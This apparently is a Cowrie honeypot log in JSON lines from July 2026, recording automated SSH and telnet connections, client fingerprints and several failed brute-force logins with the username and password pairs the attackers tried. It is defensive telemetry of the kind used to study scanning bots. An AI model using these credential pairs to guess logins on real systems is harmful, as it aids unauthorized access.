{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":43544,"dst_ip":"10.17.0.5","dst_port":22,"session":"234874894093","protocol":"ssh","message":"New connection: 38.93.206.2:43544 (10.17.0.5:22) [session: 234874894093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:40.060463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:40.064486Z","src_ip":"38.93.206.2","session":"234874894093","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:40.115304Z","src_ip":"38.93.206.2","session":"234874894093","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"funny","message":"login attempt [root/funny] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:40.265849Z","src_ip":"38.93.206.2","session":"234874894093","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:41.319221Z","src_ip":"38.93.206.2","session":"234874894093","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":58258,"dst_ip":"159.203.135.109","dst_port":22,"session":"1aa1d4ea811b","protocol":"ssh","message":"New connection: 62.133.62.83:58258 (159.203.135.109:22) [session: 1aa1d4ea811b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:47.217278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:47.221528Z","src_ip":"62.133.62.83","session":"1aa1d4ea811b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:47.299836Z","src_ip":"62.133.62.83","session":"1aa1d4ea811b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22011994","message":"login attempt [root/22011994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:47.541953Z","src_ip":"62.133.62.83","session":"1aa1d4ea811b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:48.623146Z","src_ip":"62.133.62.83","session":"1aa1d4ea811b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.88.94","src_port":54456,"dst_ip":"159.203.135.109","dst_port":22,"session":"262170f0ab9c","protocol":"ssh","message":"New connection: 162.144.88.94:54456 (159.203.135.109:22) [session: 262170f0ab9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:50.662052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:50.666038Z","src_ip":"162.144.88.94","session":"262170f0ab9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:50.750731Z","src_ip":"162.144.88.94","session":"262170f0ab9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"VRT!S3cur3#P@ss","message":"login attempt [root/VRT!S3cur3#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:51.005656Z","src_ip":"162.144.88.94","session":"262170f0ab9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:53.525600Z","src_ip":"162.144.88.94","session":"262170f0ab9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.29651665687561,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:54.359828Z","src_ip":"170.64.224.25","session":"d5a4cb7153f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53844,"dst_ip":"159.203.135.109","dst_port":23,"session":"f93b5d3a6e84","protocol":"telnet","message":"New connection: 170.64.224.25:53844 (159.203.135.109:23) [session: f93b5d3a6e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:05:09.924480Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":42172,"dst_ip":"159.203.135.109","dst_port":22,"session":"b907dfe924f7","protocol":"ssh","message":"New connection: 46.19.67.181:42172 (159.203.135.109:22) [session: b907dfe924f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:05:32.476922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:05:32.481011Z","src_ip":"46.19.67.181","session":"b907dfe924f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:05:32.593174Z","src_ip":"46.19.67.181","session":"b907dfe924f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"30051981","message":"login attempt [root/30051981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:05:32.921606Z","src_ip":"46.19.67.181","session":"b907dfe924f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:05:34.033274Z","src_ip":"46.19.67.181","session":"b907dfe924f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":56892,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad28b7486326","protocol":"telnet","message":"New connection: 137.184.5.188:56892 (159.203.135.109:23) [session: ad28b7486326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:05:59.794494Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":56270,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e133b2fdd5d","protocol":"telnet","message":"New connection: 137.184.5.188:56270 (159.203.135.109:23) [session: 2e133b2fdd5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:06:00.205566Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":42858,"dst_ip":"159.203.135.109","dst_port":23,"session":"efe0f681e265","protocol":"telnet","message":"New connection: 107.6.151.170:42858 (159.203.135.109:23) [session: efe0f681e265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:06:02.525378Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":57522,"dst_ip":"159.203.135.109","dst_port":23,"session":"41488c988896","protocol":"telnet","message":"New connection: 137.184.5.188:57522 (159.203.135.109:23) [session: 41488c988896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:06:06.851536Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":35800,"dst_ip":"159.203.135.109","dst_port":23,"session":"02c60e643681","protocol":"telnet","message":"New connection: 107.6.151.170:35800 (159.203.135.109:23) [session: 02c60e643681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:06:11.606772Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.216.105","src_port":51958,"dst_ip":"10.17.0.5","dst_port":22,"session":"330a4ccaf9cf","protocol":"ssh","message":"New connection: 172.190.216.105:51958 (10.17.0.5:22) [session: 330a4ccaf9cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:06:12.049057Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":34150,"dst_ip":"10.17.0.5","dst_port":22,"session":"44b8e9ee3df7","protocol":"ssh","message":"New connection: 91.92.40.4:34150 (10.17.0.5:22) [session: 44b8e9ee3df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:06:15.997735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:06:16.003542Z","src_ip":"91.92.40.4","session":"44b8e9ee3df7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:06:16.085938Z","src_ip":"91.92.40.4","session":"44b8e9ee3df7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:06:16.141806Z","src_ip":"172.190.216.105","session":"330a4ccaf9cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:06:16.161351Z","src_ip":"172.190.216.105","session":"330a4ccaf9cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1234qwer","message":"login attempt [postgres/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:06:16.343113Z","src_ip":"91.92.40.4","session":"44b8e9ee3df7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:06:17.427871Z","src_ip":"91.92.40.4","session":"44b8e9ee3df7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":77.03643250465393,"message":"Connection lost after 77 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:06:26.960593Z","src_ip":"170.64.224.25","session":"f93b5d3a6e84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.71497416496277,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:06:28.920392Z","src_ip":"137.184.5.188","session":"2e133b2fdd5d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1111111","message":"login attempt [root/a1111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:06:29.566393Z","src_ip":"172.190.216.105","session":"330a4ccaf9cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.0","message":"Connection lost after 21.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:06:33.034659Z","src_ip":"172.190.216.105","session":"330a4ccaf9cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.22860622406006,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:06:35.753848Z","src_ip":"107.6.151.170","session":"efe0f681e265","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":50498,"dst_ip":"159.203.135.109","dst_port":23,"session":"c22e401bc9ec","protocol":"telnet","message":"New connection: 107.6.151.170:50498 (159.203.135.109:23) [session: c22e401bc9ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:06:36.445683Z"}
{"eventid":"cowrie.session.closed","duration":0.004026889801025391,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:06:36.449554Z","src_ip":"107.6.151.170","session":"c22e401bc9ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35244,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed411f7eb9fc","protocol":"telnet","message":"New connection: 170.64.224.25:35244 (159.203.135.109:23) [session: ed411f7eb9fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:06:58.005955Z"}
{"eventid":"cowrie.session.closed","duration":62.03450608253479,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:07:01.828877Z","src_ip":"137.184.5.188","session":"ad28b7486326","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51180,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1a865f6b915","protocol":"telnet","message":"New connection: 170.64.224.25:51180 (159.203.135.109:23) [session: a1a865f6b915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:07:28.031206Z"}
{"eventid":"cowrie.session.closed","duration":85.93399858474731,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:07:32.785390Z","src_ip":"137.184.5.188","session":"41488c988896","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":46976,"dst_ip":"159.203.135.109","dst_port":22,"session":"e46e048facf3","protocol":"ssh","message":"New connection: 51.250.105.222:46976 (159.203.135.109:22) [session: e46e048facf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:07:39.413009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:07:39.416516Z","src_ip":"51.250.105.222","session":"e46e048facf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:07:39.545943Z","src_ip":"51.250.105.222","session":"e46e048facf3","protocol":"ssh"}
